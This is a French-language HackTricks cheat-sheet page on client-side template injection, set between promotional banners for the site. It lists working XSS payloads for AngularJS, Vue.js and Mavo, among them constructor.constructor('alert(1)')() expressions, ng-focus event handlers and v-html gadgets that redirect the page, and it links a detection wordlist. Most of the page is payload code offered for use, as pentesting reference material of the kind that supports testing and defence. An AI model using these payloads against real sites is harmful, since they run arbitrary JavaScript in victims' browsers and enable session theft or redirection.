7.6 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFT
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Résumé
C'est comme une injection de modèle côté serveur (SSTI) mais côté client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire sur la victime.
La façon de tester cette vulnérabilité est très similaire à celle de SSTI, l'interpréteur va s'attendre à quelque chose à exécuter entre les doubles clés et l'exécutera. Par exemple, en utilisant quelque chose comme : {{ 7-7 }}
si le serveur est vulnérable, vous verrez un 0
et sinon vous verrez l'original : {{ 7-7 }}
AngularJS
AngularJS est une bibliothèque JavaScript populaire, qui analyse le contenu des nœuds HTML contenant l'attribut ng-app
(également connu sous le nom de directive AngularJS). Lorsqu'une directive est ajoutée au code HTML, vous pouvez exécuter des expressions JavaScript entre des doubles accolades.
Par exemple, si votre entrée est réfléchie à l'intérieur du corps de l'HTML et que le corps est défini avec ng-app
: <body ng-app>
Vous pouvez exécuter du code JavaScript arbitraire en utilisant des accolades ajoutées au corps :
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/
{% hint style="danger" %}
Angular 1.6 a supprimé le bac à sable donc à partir de cette version, une charge utile comme {{constructor.constructor('alert(1)')()}}
ou <input ng-focus=$event.view.alert('XSS')>
devrait fonctionner.
{% endhint %}
VueJS
Vous pouvez trouver une implémentation vue.js vulnérable sur https://vue-client-side-template-injection-example.azu.now.sh/
Charge utile fonctionnelle: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Et le code source de l'exemple vulnérable ici: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un excellent article sur CSTI dans VUE peut être trouvé sur https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crédit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédit: Mario Heiderich
Vérifiez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Charge utile:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Liste de détection de force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFT
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.